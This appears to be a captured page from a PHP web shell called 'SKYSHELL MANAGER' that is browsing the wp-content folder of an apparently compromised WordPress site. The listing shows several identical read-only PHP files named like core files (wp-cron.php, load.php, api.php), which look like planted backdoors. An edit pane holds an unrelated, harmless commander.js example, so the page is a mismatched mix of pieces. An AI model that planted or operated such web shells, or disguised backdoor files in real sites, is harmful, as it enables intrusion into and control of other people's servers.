📁
SKYSHELL MANAGER
PHP v8.3.6
Create
Create
Path:
root
/
var
/
www
/
voigtlaborg
/
wp-content
/
Name
Size
Perm
Actions
📁
themes
-
0755
🗑️
🏷️
🔒
📄
api.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
goods.php
173.77 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
load.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: arguments-custom-processing.js
#!/usr/bin/env node // This is used as an example in the README for: // Custom argument processing // You may specify a function to do custom processing of argument values. // const commander = require('commander'); // (normal include) const commander = require('../'); // include commander in git clone of commander repo const program = new commander.Command(); function myParseInt(value, dummyPrevious) { // parseInt takes a string and a radix const parsedValue = parseInt(value, 10); if (isNaN(parsedValue)) { throw new commander.InvalidArgumentError('Not a number.'); } return parsedValue; } // The previous value passed to the custom processing is used when processing variadic values. function mySum(value, total) { return total + myParseInt(value); } program .command('add') .argument('<first>', 'integer argument', myParseInt) .argument('[second]', 'integer argument', myParseInt, 1000) .action((first, second) => { console.log(`${first} + ${second} = ${first + second}`); }); program .command('sum') .argument('<value...>', 'values to be summed', mySum, 0) .action((total) => { console.log(`sum is ${total}`); }); program.parse(); // Try the following: // node arguments-custom-processing add --help // node arguments-custom-processing add 2 // node arguments-custom-processing add 12 56 // node arguments-custom-processing sum 1 2 3 // node arguments-custom-processing sum silly
Save